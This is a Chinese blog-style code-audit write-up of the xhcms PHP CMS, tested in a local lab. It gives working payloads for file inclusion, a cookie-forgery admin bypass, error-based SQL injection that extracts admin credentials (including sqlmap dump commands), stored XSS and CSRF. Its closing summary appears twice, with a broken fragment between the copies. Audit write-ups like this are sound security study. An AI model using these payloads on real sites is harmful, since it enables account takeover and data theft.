0x00 前言
做这次代码审计的时候,距离看《代码审计:企业级web代码安全架构》一书已经过去了差不多一个月的时间了。借着这次机会,开启自己的代码审计之旅吧!
0x01 seay自动审计
环境搭建
本地留了一份进行源码审计,虚拟机win7下搭建作为攻击利用
本地审计
把cms丢进seay源代码审计系统里,先自动审计一番
发现34个可疑漏洞,接下来要做的就是逐一排查,以防误报
0x02 可疑函数跟进
/index.php:文件包含
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
-
代码分析
参数r只有一个addslashes函数过滤,但对于文件包含来说并没有什么用。
-
尝试利用
因为包含的是files目录下的文件,所以在files下新建shell.php,内容为
<?php phpinfo();?>
,payload:192.168.115.130:8088/xhcms/?r=shell,成功包含。
-
PS:根目录下新建shell.php也可以包含成功,不过需要进行目录跳转
payload:192.168.115.130:8088/xhcms/?r=…/shell
/admin/index.php:文件包含
- 同上,也存在文件包含漏洞
/admin/files/adset.php
require '../inc/checklogin.php'; //关键代码摘要
require '../inc/conn.php';
$ad1=addslashes($_POST['ad1']); //全文追踪
ad1='$ad1',
-
ad1、ad2、ad3三个变量被addslashes函数过滤因此不存在注入,属于误报
-
调用checklogin.php和conn.php两个文件,跟进下去
/inc/checklogin.php:越权
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
-
代码分析
检查cookie中的user值,若为空则跳转到后台登陆页面
-
利用测试
url:192.168.115.130:8088/xhcms/admin/?r=adset
这是一个需要admin登陆的一个页面,抓包添加user=1,爆破得到user值为admin
proxy修改user=admin再放行,进入adset页面并且为管理员账号登陆
由此可见,所有调用checklogin.php的文件都存在越权漏洞。
涵盖范围:admin/files目录下除login.php和outlogin.php外所有页面
/admin/files/login.php:SQL注入
关键代码:
$login=$_POST['login']; //参数直接由POST获取,无任何过滤
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);
$passwords=$users['password'];
if(md5($password)<>$passwords) //将输入的password的md5值进行匹配
{
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
-
mysql_query()函数执行一条 MySQL 查询。
-
mysql_fetch_array()函数从结果集中取得一行作为关联数组,或数字数组。
-
执行的sql语句为
SELECT * FROM manage WHERE user='$user'
-
这里开启了mysql_error(),可以进行报错注入
-
账号的猜解(请忽略之前所做的所有努力,直接上干货)
我的设想是用ASCII值对账号进行猜解
' and exists(select * from manage)# //存在manage表 ' and exists(select user from manage)# //存在user列 ' and exists(select password from manage)# //存在password列 ' and ascii(substr((select user from manage limit 0,1),1,1))=97#
但是到了这一步却无法猜解出账号值,无奈之下上了sqlmap
抓包保存为post.txt,然后用sqlmap的POST注入模块日他。
sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user --current-db//爆当前数据库 sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms --tables//爆表名 sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms -T manage --columns//爆列名 sqlmap.py -r "C:\Users\lenovo\Desktop\post.txt" -p user -D xhcms -T manage -C "user,password" --dump//爆数据
刚开始:“我要手注到死!!!”,最后:“sqlmap真香啊~”
-
这里贴一下看到的一个大佬的payload
1' or extractvalue(1,concat((select concat(0x7e,password) from manage)))# 1' or extractvalue(1,concat((select concat(password,0x7e) from manage)))#
一次注入得到的md5值不全,两次注入得到的md5值拼接一下就能得到正确的password
/admin/files/editcolumn.php
- 进入后台之后,继续跟进存在可疑漏洞的页面
$id=$_GET['id'];
$type=$_GET['type']; //变量由GET直接得到,未做过滤
$save=$_POST['save'];
$name=$_POST['name'];
$keywords=$_POST['keywords'];
$description=$_POST['description'];
$px=$_POST['px'];
$xs=$_POST['xs']; //变量由POST直接得到,未做过滤
对应以下表单的提交
这里出了点意外,payload没构造出来,感概一句自己的手工真的辣鸡
继续看后面的添加链接,也就是insert语句
/admin/files/newlink.php:SQL注入
关键代码:
$save=$_POST['save'];
$name=$_POST['name'];
$url=$_POST['url'];
$mail=$_POST['mail'];
$jieshao=$_POST['jieshao'];
$xs=$_POST['xs'];
还是跟之前一样,变量由POST直接得到,未做任何过滤
payload:' or updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from manage)),0) or'
真的要好好学习手工注入,手注不是and 1=1就完事了的嗷!贴一下学习链接
Mysql报错型注入:https://www.cnblogs.com/csyxf/p/10241456.html
admin/files/imageset.php
一个图片上传页面,核心代码如下
if(!empty($_FILES['images']['tmp_name']))
{
include '../inc/up.class.php';
if (empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
$tmp = new FileUpload_Single;
$upload="../upload/watermark";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
$tmp -> accessPath =$upload;
if ($tmp -> TODO())
{
$filename=$tmp -> newFileName;//生成的文件名
$filename=$upload.'/'.$filename;
}
}
}
其中调用了/inc/up.class.php,来分析一下
var $defineTypeList="jpg|jpeg|gif|bmp|png";//定义白名单后缀名
function CheckFileMIMEType()//白名单检测
{
$pass = false;
$defineTypeList = strtolower( $this ->defineTypeList);
$MIME = strtolower( $this -> GetFileMIME());
if (!empty ($defineTypeList))
{
if (!empty ($MIME))
{
foreach(explode("|",$defineTypeList) as $tmp)
{
if ($tmp == $MIME)
{
$pass = true;
}
}
}
else
{
return false;
}
}
else
{
return false;
}
return $pass;
}
function GetFileTypeToString()//取文件名后三位
{
if( ! empty( $this -> uploadFile[ 'name' ] ) )
{
return substr( strtolower( $this -> uploadFile[ 'name' ] ) , strlen( $this -> uploadFile[ 'name' ] ) - 3 , 3 );
}
}
几个主要功能就是白名单检测、文件大小检测、对文件重命名,基本就杜绝了直接传shell的可能
我自己的黑盒思路就是传图片马配合文件包含食用,但我觉得真正的黑盒应该是没办法实现的
/admin/files/manageinfo.php:Stored XSS
$user=$_POST['user'];
$name=$_POST['name'];
$password=$_POST['password'];
$password2=$_POST['password2'];
$img=$_POST['img'];
$mail=$_POST['mail'];
$qq=$_POST['qq'];
参数由POST直接得到,无任何过滤
执行的sql语句为
$query = "UPDATE manage SET
user='$user',
name='$name',
$password
$images
mail='$mail',
qq='$qq',
date=now()";
参数并没有用htmlspecialchars()或htmlentities()函数过滤,这就造成储存型xss,以下是payload
payload: <img src=1 onerror=alert(/xss/)>
这里应该还是存在报错注入的,不过跟前面一样,payload没构造出来
/admin/files/wzlist.php:CSRF
关键代码:
$delete=$_GET['delete'];
if ($delete<>"")
{
$query = "DELETE FROM content WHERE id='$delete'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";
exit;
}
-
就只是简单的GET一下delete的id,然后执行sql语句,并没有token验证
-
抓包分析一下删除请求
请求url:http://192.168.115.130:8088/xhcms/admin/?r=wzlist&delete=3
- 管理员登陆状态下点击该链接,则删除文章3
admin/files/softlist.php:CSRF
写法如上,也存在CSRF漏洞
/files/index.php
接下来进入files文件夹,先分析index.php
第34行跳转标签<a href="?r=content&cid=<?php echo $toutiaoimg['id']?>" title="<?php echo $toutiaoimg['title']?>"><img src="<?php echo $toutiaoimg['images']?>"></a>
包含了content.php,也就是第15个可疑漏洞的位置
/files/content.php:SQL注入
-
全文追踪变量$id
可以看到$id被addslashes函数过滤,但是在第19行是这么写的
$query = "UPDATE content SET hit = hit+1 WHERE id=$id";
$id并没有被单引号包裹,也就造成了sql注入
-
构造payload,成功利用
http://192.168.115.130:8088/xhcms/index.php?r=content&cid=1 and updatexml(1,concat(0x7e,(select concat(user,0x7e,password) from manage)),0)
-
继续往下,第154行/?r=submit,继续跟进
<form name="form" method="post" action="/?r=submit&type=comment&cid=<?php echo $id?>">
/files/submit.php:SQL注入
- 除了type其他均未过滤
$type=addslashes($_GET['type']);
$name=$_POST['name'];
$mail=$_POST['mail'];
$url=$_POST['url'];
$content=$_POST['content'];
$cid=$_POST['cid'];
$ip=$_SERVER["REMOTE_ADDR"];
$tz=$_POST['tz'];
- 以下是可利用的几条sql语句
$query = "SELECT * FROM interaction WHERE( mail = '$mail')";
$query = "INSERT INTO interaction (type,xs,cid,name,mail,url,touxiang,shebei,ip,content,tz,date) VALUES ('$type','$xs','$cid','$name','$mail','$url','$touxiang','$shebei','$ip','$content','$tz',now())";
$query = "SELECT * FROM content WHERE( id= $cid)";
$query = "SELECT * FROM download WHERE( id= $cid)";
-
关联文件
contact.php
software.php
files/software.php:SQL注入
$id=addslashes($_GET['cid']);
$query = "UPDATE download SET hit = hit+1 WHERE id=$id";
-
写法跟前面的一样,payload也同样可以使用
-
关联文件
downloads
files/downloads.php
全文追踪结果显示fileid被addslashes函数过滤,且sql语句中fileid被单引号包裹,不存在注入
seacmseditor/php/controller.php
if (isset($_GET["callback"]))
{
if (preg_match("/^[\w_]+$/", $_GET["callback"]))
{
echo htmlspecialchars($_GET["callback"]) . '(' . $result . ')';
}
else
{
echo json_encode(array('state'=> 'callback参数不合法'));
}
这里在输出的时候用htmlspecialchars函数将特殊字符转换为html实体,所以不存在xss,属于误报
整个文件夹下就是Ueditor富文本编辑器,也就不去深挖了
0x03 漏洞总结
越权及登陆绕过
- 位置:/inc/checklogin.php
- 影响范围:所有调用此验证的页面
SQL Injection
- update语句报错注入
- insert语句报错注入
File Inclusion
- /index.php
- /admin/index.php
Stored XSS
- update语句参数未经过滤直接带入查询
- 影响范围:留言板、评论及后台信息设置
CSRF
- 后台管理页面无token验证
- 影响范围:update、delete等管理员操作
0x04 个人体会
-
cms审计及测试时的漏洞利用方法和靶场bypass姿势千差万别
-
手工!手工!!手工!!!真的太重要了,学不好payload都搞不出来
-
自己的一些心得:可疑函数追踪、关联文件分析以及一些常爆洞的功能模块
-
真的很花时间,做完这一套cms审计大概花了5天时间,而光今天的收尾工作就从中午12点一直做到晚上8点
陆绕过 -
位置:/inc/checklogin.php
-
影响范围:所有调用此验证的页面
SQL Injection
- update语句报错注入
- insert语句报错注入
File Inclusion
- /index.php
- /admin/index.php
Stored XSS
- update语句参数未经过滤直接带入查询
- 影响范围:留言板、评论及后台信息设置
CSRF
- 后台管理页面无token验证
- 影响范围:update、delete等管理员操作
0x04 个人体会
- cms审计及测试时的漏洞利用方法和靶场bypass姿势千差万别
- 手工!手工!!手工!!!真的太重要了,学不好payload都搞不出来
- 自己的一些心得:可疑函数追踪、关联文件分析以及一些常爆洞的功能模块
- 真的很花时间,做完这一套cms审计大概花了5天时间,而光今天的收尾工作就从中午12点一直做到晚上8点
- 不难,真的不难,就是头有点凉